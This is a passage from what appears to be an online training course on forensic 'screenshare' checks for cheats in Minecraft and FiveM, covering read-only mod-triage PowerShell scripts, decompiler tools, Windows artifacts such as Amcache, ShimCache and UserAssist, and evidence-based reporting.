  • Conflating "unusual" with "malicious" — custom, private, or poorly documented mods are not automatically cheats; document anomalies and escalate appropriately
§ 10

Useful Workflows & Scripts

The goal of quick scripts is not to replace actual analysis — it is to speed up repetitive work so your attention stays on the jars that deserve it most. A solid first-pass workflow is: inventory the mod folder, hash every jar, compare claimed releases to official sources, unpack or decompile suspicious files, run targeted searches, then document what was actually confirmed.

Full First-Pass Triage Script
PowerShellfull_triage.ps1
# ── STEP 1: Inventory and hash all jars ────────────────────────
$modsPath = "$env:APPDATA\.minecraft\mods"
Get-ChildItem $modsPath -Filter *.jar |
  Get-FileHash -Algorithm SHA256 |
  Sort-Object Path |
  Export-Csv ".\hashes.csv" -NoTypeInformation

# ── STEP 2: Unpack a suspect jar ───────────────────────────────
$target = ".\suspect.jar"
Expand-Archive $target -DestinationPath ".\unpacked\" -Force

# ── STEP 3: Read loader metadata ───────────────────────────────
foreach ($meta in @('fabric.mod.json','META-INF\mods.toml','META-INF\MANIFEST.MF')) {
  $path = ".\unpacked\" + $meta
  if (Test-Path $path) {
    Write-Host "=== $meta ===" -ForegroundColor Cyan
    Get-Content $path
  }
}

# ── STEP 4: List mixin configs ─────────────────────────────────
Get-ChildItem ".\unpacked" -Filter *.json -Recurse |
  Where-Object { $_.Name -match 'mixin' } |
  ForEach-Object { Write-Host $_.FullName; Get-Content $_.FullName }

# ── STEP 5: Keyword search across decompiled sources ───────────
# (Run after decompiling with Vineflower / CFR / Procyon)
$patterns = 'reach','velocity','autoclick','trigger','rotation',
            'killaura','scaffold','blink','cps','aimbot',
            'criticals','esp','wallhack','speed','fly'

Get-ChildItem .\decompiled -Recurse -File |
  Select-String -Pattern $patterns -SimpleMatch |
  Sort-Object Path, LineNumber |
  Format-Table Path, LineNumber, Line -AutoSize

# ── STEP 6: Check language / resource files for module names ───
Get-ChildItem .\unpacked\assets -Recurse -Filter *.json -ErrorAction SilentlyContinue |
  Select-String -Pattern $patterns -SimpleMatch |
  Format-Table Path, LineNumber, Line -AutoSize
This script handles the repetitive first-pass work in one run. Steps 1–4 require no decompilation; step 5 requires Vineflower, CFR, or Procyon to be run first. The hash CSV from step 1 can be compared against official release hashes for batch trust validation.
Recommended Decompilation Tools
ToolTypeBest ForSource
VineflowerJava DecompilerMost accurate modern Java decompilation; successor to Fernflower; handles complex patterns wellOpen source — github.com/Vineflower
CFRJava DecompilerStrong on modern Java features; good for comparing output against Vineflower when results differFree — benf.org/counterclockwise/cfr
ProcyonJava DecompilerAlternative decompiler; useful when Vineflower and CFR produce poor output on specific classesOpen source — bitbucket.org/mstrobel/procyon
BytecodeViewerMulti-tool GUIAll-in-one GUI combining multiple decompilers, bytecode view, and string search; good for triageOpen source — github.com/Konloch/bytecode-viewer
RecafBytecode Editor / ViewerBytecode-level inspection; invaluable for invokedynamic abuse and sections decompilers fail onOpen source — github.com/Col-E/Recaf
jadxJava DecompilerFast and readable output; strong GUI; good for initial orientation before deeper analysisOpen source — github.com/skylot/jadx
Workflow Priority Order
Standard Analysis Order

1. Inventory first — hash all jars, document what is present. 2. Trust validation second — compare hashes, read metadata, identify version inconsistencies. 3. Metadata and mixins third — read loader configs, list mixin targets, flag high-signal injection points. 4. Decompiled behavior fourth — targeted class review based on mixin findings, string triage, and structural anomalies. 5. Isolation testing only when needed — and only in a controlled, disposable environment with pre- and post-launch filesystem comparison.

Final Note

The strongest mod analysis is boring in a good way. It is organized, reproducible, and based on artifacts you can point to without any guesswork. Every claim has a source. Every source has a confidence level. Every conclusion follows from the evidence, not from assumption.

MODULE 07 / 10 Correlation & reporting

Turn records into a supported finding

Listen to this lesson3 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

The strongest account connects multiple kinds of evidence while preserving what each record can—and cannot—establish.

Work a short scenario

You find a deleted executable name in a USN journal, a matching execution-related Prefetch artifact, a nearby clock-change event, and a cleared Security log. Treat these as separate observations first.

  1. Filesystem: reconstruct the file’s changes and identify the object and path.
  2. Execution: interpret the Prefetch artifact in its version and path context.
  3. Time: review the old and new clock values, preserve original timestamps, and annotate the discontinuity.
  4. Logging: investigate the subject of the clearing event and available surviving sources.
  5. Conclusion: report the supported sequence and identify unresolved gaps.

Keep a timeline with provenance

For each entry, keep the source artifact, record identifier, original timestamp, normalized timestamp, timezone, object or process identity, and interpretation. Match records by more than a filename when stronger identifiers are available.

Separate capability from use

A mod containing a capability does not alone establish when someone used it. A deleted file does not alone establish execution. A cleared log does not alone establish a malicious motive. Explain the distinction and use other sources to address the unanswered question.

Before the final quiz

  • Can you select an appropriate artifact for a question?
  • Can you distinguish a path hash from a content hash?
  • Can you interpret event and journal records in context?
  • Can you describe retention and telemetry gaps?
  • Can you support a behavioral claim with code or observed activity?
Your report should stand on its own

State what was observed, where it came from, what it supports, what remains uncertain, and why your confidence is justified.

MODULE 08 / 10 Plan a screenshare

A clear session, from start to finish

Listen to this lesson3 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

A gaming investigation needs a question, a collection plan, and a record another reviewer can follow. The RedLotus collection supplies worked methods; this lesson puts them into an evidence-first workflow.

Agree the scope before collecting

Identify the game, launcher, profile, mod loader, and relevant session. Explain what you will inspect and where you will keep the results. Keep unrelated personal files, messages, and credentials outside the collection. If the agreed scope is insufficient, pause and clarify it.

Capture the starting state

Record the collection time and timezone, game and Windows versions, active game process, launch arguments, and the relevant installation paths. Multiple launcher profiles can point to different directories. Find the active profile rather than assuming every installation lives in the default folder.

Move through the evidence deliberately

  1. Document the live state before closing programs or running utilities.
  2. Collect relevant game logs, configuration, and mod files; retain original names and paths.
  3. Examine copies. Record hashes, tool versions, filters, and collection gaps.
  4. Correlate runtime observations with execution and filesystem artifacts from the relevant time window.
  5. Write the supported finding and unresolved questions. Keep collection actions in the timeline too.

A lead is a reason to investigate

A recently modified mod folder, an unusually sized JAR, or an unfamiliar process can help prioritize examination. None alone establishes cheating. Updates, dependency changes, and launcher activity are alternative explanations. Compare the exact build and inspect behavior before making a stronger claim.

Try it

A player has two game profiles and one changed mod folder. Which profile was active? Which file changed? What explains the difference? List the evidence you would need before concluding that an advantage was used.

Reading: RedLotus Introduction, pp. 3–5 and Public Guide, first-phase methods. The original handbooks include their authors’ policies and claims; assess technical conclusions against the collected evidence.

MODULE 09 / 10 Tools & live evidence

Use the right tool for the question

Listen to this lesson3 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

A tool produces observations. You still need to understand its inputs, coverage, and limitations.

Know the utility you are using

Use the publisher’s official project or release page. Record the version, file hash, source URL, and signature information when available. A valid signature identifies a signer and supports an integrity check; it is not a guarantee that every action is safe. A hash identifies particular bytes, not intent.

Choose between live state and history

A process inspection utility can help examine current processes, loaded modules, and open handles. This is a snapshot of what survives at collection time. A process no longer running may require historical execution artifacts. Preserve the live observations with collection time and relevant process identifiers, paths, and context.

Separate configuration from execution

Autoruns reports configured auto-start locations. A listed entry is a configuration lead; separate execution evidence is needed to establish that its action ran at a particular time. Export observations before making changes. Disabling an entry during a check changes the system you are examining.

Keep collection effects visible

Launching a parser, downloading a utility, or opening a file can create new records. Note your actions and timestamps so the next reviewer can distinguish collection activity from earlier activity. Avoid unfamiliar scripts and binaries on the examined machine simply because a handbook names them.

Try it

A utility finds a startup entry pointing to a missing executable. Report the configuration, the missing target, and the collection time. Then identify which independent records could answer whether the target ran.

Reading: RedLotus Introduction, live inspection. Tool capabilities: Microsoft’s Process Explorer, Autoruns, and Sigcheck documentation.

MODULE 10 / 10 A worked gaming case

Turn several leads into one defensible finding

Listen to this lesson3 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

Practice on a fictional case: an unfamiliar JAR, a recent rename, and a game session running at collection time.

Start with three separate observations

The active profile lists a mod. Its JAR differs from the trusted release of the same version. A filesystem record shows a rename. Keep these observations separate: a byte difference, a name change, and an active profile do not yet establish what code ran or what it did.

Test the strongest explanation

Preserve the JAR and reference build, record their hashes, and inspect metadata, entrypoints, mixins, and relevant code paths. Identify the specific behavior implemented and whether it is reachable in this build. Check dependencies and legitimate version differences. Decompiled output can need confirmation against the original bytecode.

Reconstruct the sequence

Correlate the renamed object using file references and paths where available. Compare game logs, launch configuration, surviving execution artifacts, and live observations. Normalize timestamps while retaining original values and annotate any clock changes. State whether the evidence supports presence, capability, loading, or actual use; those are different claims.

Write a reviewable result

Use a compact evidence table: source, collection time, observation, supported inference, and limitation. Include the reference version and hashes, relevant code locations, timeline, alternative explanations, and collection gaps. Redact unrelated personal information before sharing a community finding.

A proportionate conclusion

“The collected JAR differs from the reference and contains this reachable behavior” can be supported by the comparison and code. If use during the session remains unestablished, say so and describe the evidence still needed.

Continue with RedLotus Public Guide, mod clients and JARs, Tome II, Book II, Registry and journal, and the extended field guides. This scenario is authored teaching material, not an allegation about a real player.

COURSE READING / FOUR ORIGINAL VOLUMES

RedLotus Compiled Knowledge.

The complete handbooks, inside your learning desk. Search all 279 source pages, listen from any page, or download the book with its original screenshots.

Download the complete book ↓ 286 pages / PDF
Inside the collection 4 volumes
  1. 01
    Introduction to screensharing16 pages
    →
  2. 02
    Public screenshare guide98 pages
    →
  3. 03
    Handbook — Tome II118 pages
    →
  4. 04
    Tome II — Book II47 pages
    →

Read the collection

Volume 01

Introduction to screensharing

Listen to this volume AI narration
Download volume audio ↓

Uses the PDF text layer. Screenshots and some table layouts need the original page.

Text view / Original wording. Line breaks, tables, and styled text can extract imperfectly; use the PDF for the page layout.

Loading the collection…

About the sources

This collection preserves all four supplied PDFs. Tool advice, organizational rules, and technical claims remain the source authors’ statements. Credits and original illustrations are retained in the downloadable book. The narration is a synthetic reading of the available text; text embedded only in pictures may be omitted.

EXTENDED READING / 20 FIELD GUIDES

The screenshare field library.

Explore these references alongside the ten learning modules. Each includes collection steps, interpretation limits, a worked scenario, and sources. The final quiz covers all ten focused lessons.

A defensible screenshare workflowPlan a focused player examination, preserve the evidence, and document the limits of a live view.
Listen to this guide5 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

A screenshare is a live observation session, not a complete disk acquisition. Start with a concrete question tied to the disputed game session: a particular client, modification, executable, or installation. Agree on the material the player will show and the collection steps before asking for files. Record the game, launcher, operating-system build, account context, and session time. A narrow plan makes the examination easier to reproduce and reduces unrelated browsing.

Screenshots, exported artifacts, and collected files serve different purposes. A screenshot shows what was displayed at that moment; it does not preserve every byte or authenticate the application rendering it. An exported record can be re-examined, but only if its source and extraction method are recorded. Identify which type of evidence supports each observation rather than treating the screenshare itself as proof.

§ 02

What to collect

SourceRetain and examine
Session notesStart/end time, timezone, stated question, participant consent and scope.
EnvironmentGame build, launcher profile, instance directory, active user context.
Relevant artifactsSelected logs, mods, metadata, or execution records associated with the question.
Collection logTool names, versions, commands, files copied, and any live changes.
§ 03

Examination workflow

  1. Ask the player to identify the actual game instance and the disputed session before inspecting a default folder.
  2. Record original paths and available timestamps. Preserve selected files before opening them in tools that may modify data.
  3. Check identity with hashes and exact release versions; then inspect execution or behavior records appropriate to the question.
  4. Connect findings across independently collected sources. Keep uncertain matches separate from confirmed identities.
  5. End with a short observation summary, unresolved gaps, and the evidence needed for further review.
§ 04

Interpretation & false positives

Launching a parser, opening a folder, restarting a game, or changing a logging option can alter the live system. Document these actions, because they may create new execution artifacts or rotate logs. A player controlling the displayed view can omit a profile, use a different instance, or show incomplete data without that fact being immediately visible. Record the boundary of what was examined.

An empty folder, a stopped process, or a single clean log is not a clean bill of health for every session. Conversely, an unfamiliar filename is not sufficient grounds for a cheating claim. State the scope of the result: for example, the selected instance contained these files at the time of collection.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A player shows an empty default mods folder, but the launcher profile points to another instance. Ask for the configured instance path and inspect the corresponding logs and mod files. The first observation described the wrong directory; it did not establish the state of the active game. Preserve the profile information that connects the launcher to the examined path.

§ 06

Report checklist

  • The disputed session and actual instance are identified.
  • Live changes and collection tools are logged.
  • Each conclusion names its supporting artifact and scope.
  • Private account details are redacted from shared findings.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

Hashes, signatures & release identityCompare exact mod and tool releases without confusing a matching hash or signature with safe behavior.
Listen to this guide5 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

A file's display name is easy to change. Begin a mod, launcher, or utility review by identifying the bytes you actually collected. A cryptographic hash allows you to compare those bytes with an exact reference or a later copy. Record the algorithm, original path, file size, acquisition time, and reference source. For a release comparison, match the version, loader, platform, and build variant—not simply the project name.

Authenticode and content hashing answer different questions. A signature examination reports signing information and validation status for supported files. A content hash is a fingerprint of the collected bytes. Neither tells you everything a program can do or whether its use during a game session was authorized.

§ 02

What to collect

SourceRetain and examine
Collected fileOriginal path, byte size, acquisition time, and SHA-256.
Reference releaseOfficial release location, version, platform, loader, and expected hash.
Signature resultStatus, signer information, timestamp information when available, and tool version.
Comparison notesExact files compared and an explanation of any mismatch or unsupported format.
§ 03

Examination workflow

  1. Collect a copy and calculate its SHA-256 before changing or extracting it.
  2. Retrieve or identify the official reference for the same build through the project’s own release channel. Do not substitute a random mirror.
  3. Compare complete hashes, not filename similarity or a short prefix. Retain the reference URL and release description.
  4. For an applicable Windows executable, inspect its Authenticode result separately from its hash comparison.
  5. Investigate mismatches by examining packaging, code, dependencies, and behavior; report what the mismatch establishes before interpreting its cause.
PowerShell / read-only inspectionidentity-check.ps1
Get-FileHash -LiteralPath 'C:\Evidence\sample.jar' -Algorithm SHA256
Get-AuthenticodeSignature -LiteralPath 'C:\Evidence\utility.exe' |
    Select-Object Status, StatusMessage, SignerCertificate
§ 04

Interpretation & false positives

A mismatch means the compared files differ. It can result from a different loader build, a locally rebuilt project, a changed archive, or malicious modification. Determine which explanation is supported. A matching hash ties the file to the reference bytes; it does not establish that the reference is harmless, that every dependency matches, or that the player used only that file.

A valid signature does not guarantee benign behavior. An unsigned Java archive is not automatically suspicious; Windows Authenticode is not a universal trust mechanism for every file format. Do not treat an unsupported or absent signature as a behavioral finding.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A Fabric build and a Forge build share a project name but have different hashes. The mismatch is expected until the claimed variant is resolved. After identifying the actual loader, compare the collected file with that exact release. If its bytes still differ, report the difference and locate the changed classes or resources rather than labeling the mod from the hash alone.

§ 06

Report checklist

  • The hash algorithm and complete value are recorded.
  • The reference matches the exact build variant.
  • Signature and content-identity conclusions are separate.
  • No capability claim rests on identity checks alone.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

Amcache: inventory with contextUse Amcache to identify software and paths while keeping inventory evidence distinct from proof of execution.
Listen to this guide5 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

Amcache is useful when an examination involves a program that has been renamed, moved, or removed. On relevant Windows systems, the Amcache hive is commonly found under Windows\AppCompat\Programs. Preserve the hive with associated transaction logs when your acquisition method supports them, and record the Windows build. Its structures and field meanings vary across versions, so select a parser that supports the collected format.

Treat the output as a set of recorded application or file observations. Start with identity and path questions: which record refers to the item, what metadata survived, and what other source can establish activity? Avoid translating every inventory entry into a specific launch time.

§ 02

What to collect

SourceRetain and examine
Amcache hiveA collected Amcache.hve and relevant transaction logs.
System contextWindows build, collection method, and acquisition time.
Parser outputRecord type, recorded path, timestamps, and available file-identifying metadata.
Related evidenceMatching files, Prefetch, event logs, and filesystem records.
§ 03

Examination workflow

  1. Acquire the hive and its supporting logs as a coherent collection rather than relying only on a screenshot of registry values.
  2. Parse a copy using a version-aware tool such as AmcacheParser, retaining the original output and tool version.
  3. Search both names and path context. Resolve multiple similarly named records before choosing one.
  4. Compare available identifying metadata with the collected binary or an exact reference, checking how the parser defines each field.
  5. Correlate relevant entries with execution and filesystem artifacts and record which source supports each part of the timeline.
§ 04

Interpretation & false positives

Inventory can be populated through mechanisms other than the launch you are investigating. The meaning of a timestamp depends on the record type, Windows version, and field definition. A recorded path is valuable context, but the presence of an entry alone does not provide a complete execution history or prove cheating.

If a parser emits a hash-like field, check the implementation and documentation before assuming it covers all bytes or equals a separately calculated cryptographic hash. Preserve the original record identity so another analyst can revisit that interpretation. Missing entries may reflect collection, configuration, version differences, or retention.

§ 05

Worked scenario

Illustrative case / not a real player allegation

An Amcache entry refers to a suspiciously named utility under a temporary folder. A related Prefetch record and a collected service event are more direct leads for execution context. Report the Amcache path as inventory evidence and discuss the other sources separately. If the file cannot be recovered, do not claim that its name establishes its code or capability.

§ 06

Report checklist

  • The Windows build and parser version are recorded.
  • Inventory, identity, and execution claims are distinguished.
  • Timestamp meanings are documented rather than assumed.
  • Matching records have paths and source identifiers.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

ShimCache without overclaimingRead AppCompatCache records, interpret their timestamps, and corroborate execution claims.
Listen to this guide4 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

AppCompatCache, often called ShimCache, is a compatibility-related artifact stored in the SYSTEM registry hive. It can preserve file and path observations relevant to a gaming examination even after an executable is absent from its original folder. The useful question is what the surviving record represents on this Windows build—not whether every listed path must have executed at the displayed time.

Collect the SYSTEM hive with its transaction logs through an appropriate acquisition method. A screenshot of a live cache view loses the surrounding hive context and is harder to reproduce. Multiple control sets may be relevant; preserve which control set the parser used.

§ 02

What to collect

SourceRetain and examine
SYSTEM hiveCollected hive, supporting logs, and control-set information.
PlatformWindows build and acquisition context.
Cache recordPath, record position, available metadata, and parser field definitions.
CorroborationPrefetch, event logs, collected files, and MFT or journal observations.
§ 03

Examination workflow

  1. Preserve the hive and logs before interpreting a live tool display.
  2. Use a parser supporting the collected build, such as AppCompatCacheParser, and retain its version and invocation.
  3. Record the control set and full path for every entry used in a finding.
  4. Identify the source and meaning of displayed timestamps; do not relabel a file timestamp as a launch timestamp.
  5. Compare the path and object context with independent execution-related records before proposing a sequence of activity.
§ 04

Interpretation & false positives

A compatibility record is not a universal execution verdict. Artifact behavior, persistence, and any execution-related indicators depend on the implementation and operating-system version. A recorded file modification time is a property of the observed file, not automatically the moment a user ran it.

Do not assume the order of displayed entries is a reliable chronological launch list. A parser’s ordering, control-set selection, and offline-versus-live collection affect interpretation. Absence is equally limited: a missing cache entry does not disprove activity from another well-supported source.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A cache parser lists a utility with a timestamp before the disputed match. A corresponding Prefetch artifact has a later execution-related timestamp. These values need not conflict: they may describe different events. State the actual meanings, preserve both, and avoid inventing a contradiction by labeling both as launch times.

§ 06

Report checklist

  • Control set and operating-system context are available.
  • The report identifies the actual timestamp field.
  • Entry order is not presented as a launch history.
  • Execution assertions use corroborating evidence.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

UserAssist & user contextInvestigate user-specific shell activity without assuming it captures every launch or identifies the person at the keyboard.
Listen to this guide5 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

UserAssist records are useful for examining user-specific shell activity. The relevant data lives within user registry context, commonly in NTUSER.DAT. Establish which user hive you collected and which profile it belongs to before discussing an application entry. Data formats, counters, and recorded fields vary, so use a parser that explains its interpretation for the collected system.

In a shared gaming computer, the Windows profile, game account, and person operating the machine may be different entities. Keep those identities separate. A user-specific record helps locate context; it does not alone authenticate the human who performed an action.

§ 02

What to collect

SourceRetain and examine
User hiveNTUSER.DAT and relevant transaction logs from the examined profile.
Profile mappingSID, profile path, and how it relates to the observed session.
Parsed entryDecoded name, supported timestamps or counters, and raw record location.
Session sourcesGame logs, launcher information, and available Windows logon or execution data.
§ 03

Examination workflow

  1. Identify the actual Windows profile associated with the displayed game instance.
  2. Collect the user hive and logs without modifying registry values to expose a record.
  3. Decode and parse UserAssist using a documented implementation, preserving the raw source and parser output.
  4. Resolve shell identifiers, paths, or aliases with other profile information; do not silently substitute a guessed executable name.
  5. Compare the relevant entry with session time and independent execution records, describing coverage limits in the report.
§ 04

Interpretation & false positives

UserAssist is not a complete process-start log. Command-line launches, services, different accounts, and other mechanisms may have different coverage. A parser label such as run count should be interpreted according to the field and version, not assumed to count every lifetime execution.

Decoded names can contain shell-specific identifiers instead of a direct filesystem path. Resolve them cautiously and record the mapping method. An entry in one profile does not establish the state of another profile. Missing data can reflect coverage or collection gaps as well as removal.

§ 05

Worked scenario

Illustrative case / not a real player allegation

The active game is running from a secondary profile, but a viewer shows UserAssist data for the main account. That output may be genuine and still irrelevant to the disputed session. Collect the correct profile context before comparing entries. If identity remains uncertain, state that limitation rather than assigning activity to the player.

§ 06

Report checklist

  • The source hive and profile mapping are recorded.
  • Decoded names retain their source context.
  • Counters are not treated as comprehensive lifetime history.
  • Profile activity and personal attribution are separated.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

Startup, tasks & persistence reviewExamine automatic execution mechanisms without treating every startup entry as malicious.
Listen to this guide4 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

Persistence examination asks what is configured to run again, under which account, and after which trigger. Game launchers, anti-cheat components, update agents, and peripheral utilities often install legitimate automatic execution mechanisms. Inventory an entry’s action, path, arguments, account context, trigger, and file identity before drawing a conclusion.

Autoruns can enumerate multiple startup locations. Task Scheduler provides another view of configured tasks. These tools expose configuration; they do not alone establish that an entry executed successfully during the disputed match. Preserve available logs and referenced files to investigate that separate question.

§ 02

What to collect

SourceRetain and examine
Startup entrySource location, configured action, arguments, and user context.
Task configurationTask path, triggers, actions, account, and relevant settings.
Referenced fileContent hash, signature information, and exact release context.
Execution sourcesAvailable task, service, process, and game-session records.
§ 03

Examination workflow

  1. Record the existing configuration before disabling, deleting, or running any entry.
  2. Use a documented viewer and keep complete paths and arguments, including environment-variable references.
  3. Resolve the target file and compare it with the correct vendor or project release.
  4. Separate task registration, configured triggers, and evidence of actual execution.
  5. Correlate relevant activity with session time, collection activity, and the applicable user context.
§ 04

Interpretation & false positives

A task’s name is a label, not an authenticated statement about its purpose. A familiar name can hide a changed target; an unfamiliar name can belong to a legitimate updater. An entry pointing to a missing file may be stale rather than evidence of current capability.

Configured persistence is distinct from use. A task can exist without its trigger firing, and an action can fail. Services and machine-wide tasks may run in a different account context from the player. Avoid attributing every automatic action to an interactive click.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A task appears to be a launcher updater, but its action points to a user-writable temporary location. Collect the configuration and target bytes before classifying it. Examine file identity, installation context, and available execution records. Report the unexpected target first; explain the behavioral conclusion only if the evidence supports it.

§ 06

Report checklist

  • Configuration is preserved before modification.
  • Names and target identity are assessed separately.
  • Registration, trigger, and execution are distinct observations.
  • Account and collection context are included.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

Minecraft instances, logs & loaded modsIdentify the actual instance and correlate launcher, loader, crash, and mod records for the session under review.
Listen to this guide4 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

Minecraft players can use multiple launchers, accounts, loaders, and instance directories. Identify the configured game directory and the selected profile before examining a mods folder. An empty default location says little about an instance stored elsewhere. Record the Minecraft, loader, and mod versions relevant to the disputed session.

Fabric documents game logs such as latest.log and archived logs, while crash reports contain crash context rather than the complete normal session log. Preserve the actual files before restarting the game, because later activity can change which session a latest log describes.

§ 02

What to collect

SourceRetain and examine
Launcher profileSelected instance, game directory, versions, and relevant launch configuration.
Session logsCurrent and relevant archived game logs with original paths and times.
Crash contextAssociated report, exception information, and session association.
Mod inventoryCollected JARs, configuration, metadata, and exact content hashes.
§ 03

Examination workflow

  1. Ask the launcher to identify its actual instance folder, and record the selected profile.
  2. Collect the session logs and relevant archives before launching another session.
  3. Read loader and mod-list context with version information; distinguish discovery, loading, and runtime behavior.
  4. Match collected JARs with the instance and exact official release variants, then examine relevant entrypoints and mixins.
  5. Correlate session times with Windows artifacts when the question involves a separate utility or removed file.
§ 04

Interpretation & false positives

A mod list is not a complete behavioral transcript. A failed startup can discover a mod without reaching a playable session, and configuration can alter its behavior. A log line containing a suggestive class name or mixin target is not sufficient to prove a cheat. Legitimate mods commonly transform game classes.

Logs may contain server addresses, account identifiers, chat, or tokens. Share only the relevant redacted portion publicly while keeping the original evidence appropriately. Local logs can be incomplete or modified, so report their provenance and corroborate important claims.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A crash report names a combat-related class, but the matching log shows startup failed before the game session began. Examine the JAR to establish capability separately, and avoid claiming that capability was used during the match from the crash alone. If a later successful session is relevant, collect its own records.

§ 06

Report checklist

  • The actual instance and loader variant are identified.
  • Logs are tied to the correct session.
  • Discovery, loading, capability, and use are separated.
  • Public excerpts redact unrelated player data.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

FiveM client & session triageResolve the actual client layout and compare session logs, cache, resources, and Windows artifacts cautiously.
Listen to this guide5 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

A FiveM examination should start with the actual client installation and session rather than a memorized universal folder layout. Record the client version or update channel, the game installation, relevant client data locations, and the disputed server/session window. Use the active client and its configuration to identify paths, documenting how each location was resolved.

Cfx client documentation and diagnostic reporting guidance are useful references for the current product. Preserve relevant client-generated logs before additional launches or troubleshooting change them. Do not assume that every cache file represents a player-installed modification.

§ 02

What to collect

SourceRetain and examine
Client environmentInstallation/data paths, version or channel, and game context.
Session recordsRelevant client diagnostic logs with timestamps and original locations.
Resource contextAvailable resource or cache observations and associated server/session details.
Independent artifactsProcesses, file identity, execution records, and matching filesystem changes.
§ 03

Examination workflow

  1. Identify the running client’s actual installation and relevant data locations rather than scanning one presumed folder.
  2. Collect logs for the disputed session and preserve original path and time information.
  3. Read errors and resource context alongside the client version and session conditions.
  4. Examine unexpected executables or modules through hashes, paths, signatures, and behavior context.
  5. Correlate leads with independent Windows artifacts and describe what cannot be established from client logs alone.
§ 04

Interpretation & false positives

Servers can deliver resources that appear in client-side context. Cached or resource-related material is not automatically an independently installed cheat. A crash, failed download, or resource error may reflect an ordinary update or server problem. State which observation supports the suspected distinction.

Client layouts and logging change over time. Avoid publishing an unverified list of supposedly forbidden paths as a universal detection method. A local log can be missing or incomplete, and a process name can be changed. Stronger conclusions connect bytes, paths, timing, and observable behavior.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A cache directory contains unfamiliar script-related names after a server session. Compare the resource context with that session before classifying the files. If a separate utility is suspected, collect its identity and execution-related evidence instead of treating cached server content as the utility. Preserve uncertainty where server context is unavailable.

§ 06

Report checklist

  • The actual installation and session are recorded.
  • Server-delivered resources are considered.
  • Crash and cache observations are not verdicts.
  • Windows corroboration is tied to the same time window.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

Timelines, clock changes & timezonesBuild a session timeline that preserves original timestamps and distinguishes ordering from exact time.
Listen to this guide4 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

A timeline should retain the source and meaning of every timestamp. A file modification value, log timestamp, application-generated time, and parser display can represent different events and use different conventions. Record original values and conversion rules before sorting entries into a single session narrative.

Windows Security event 4616 is a useful source for system-time changes; normal clock correction can also produce it. Examine its old/new time and subject context. A change creates a discontinuity to annotate, not a reason to automatically classify every nearby event as deliberate manipulation.

§ 02

What to collect

SourceRetain and examine
Source timestampOriginal field name, raw value, artifact, and record identifier.
NormalizationTimezone, daylight-saving context, units, and parser conversion method.
Clock eventsRelevant time-change records and available old/new values.
Session anchorsGame logs, observed collection times, and independent reference events.
§ 03

Examination workflow

  1. Define the disputed time window and retain its timezone.
  2. Create separate original and normalized timestamp fields rather than replacing the original values.
  3. Check artifact semantics and resolution; distinguish intervals from point events.
  4. Annotate clock changes and investigate whether they affect the apparent order of nearby records.
  5. Use object and process identities to connect records; do not rely on chronological proximity alone.
§ 04

Interpretation & false positives

Some sources establish sequence without exact wall-clock time, while others aggregate an interval. Sorting such records by a fabricated precise time can produce a convincing but unsupported story. Prefer a stated interval or sequence constraint when that is all the evidence supports.

A global offset is not automatically valid across a clock discontinuity. Daylight-saving conversion, application-local time, restored files, and archive metadata can all produce differences. Explain unresolved discrepancies instead of silently adjusting timestamps to fit the allegation.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A download log and a game log appear an hour apart in two viewers. One viewer renders local time and the other UTC. Normalize both using documented rules before describing a contradiction. If a system-time change occurs within the window, preserve separate segments and show which relationships remain uncertain.

§ 06

Report checklist

  • Raw and normalized values are both retained.
  • Timestamp meaning and resolution are recorded.
  • Clock discontinuities are explicit.
  • A timeline does not assign unsupported precision or causation.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

Write reproducible findings & tool reviewsPublish useful observations, explain confidence, and submit tools with enough context for an owner review.
Listen to this guide5 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

A useful community finding lets another investigator reproduce the observation and evaluate the interpretation. Lead with a specific artifact and method rather than a verdict about a person. Record the environment, versions, relevant paths or identifiers, collection method, and the fields that support the claim. Separate the original evidence from any edited screenshot or derived output.

The same standard helps tool review. A project name and download link are not enough to understand what a utility collects, changes, or supports. Submit its official source, intended use, platform, version, limitations, and what you actually tested. A clear submission makes the owner’s decision meaningful.

§ 02

What to collect

SourceRetain and examine
Observation recordArtifact, environment, method, relevant fields, and source identifiers.
Reproduction stepsOrdered actions, tool/version, expected result, and observed result.
InterpretationSupported conclusion, confidence, alternatives, and coverage limits.
Tool submissionOfficial source URL, platform/version, supported artifacts, license, and collection impact.
§ 03

Examination workflow

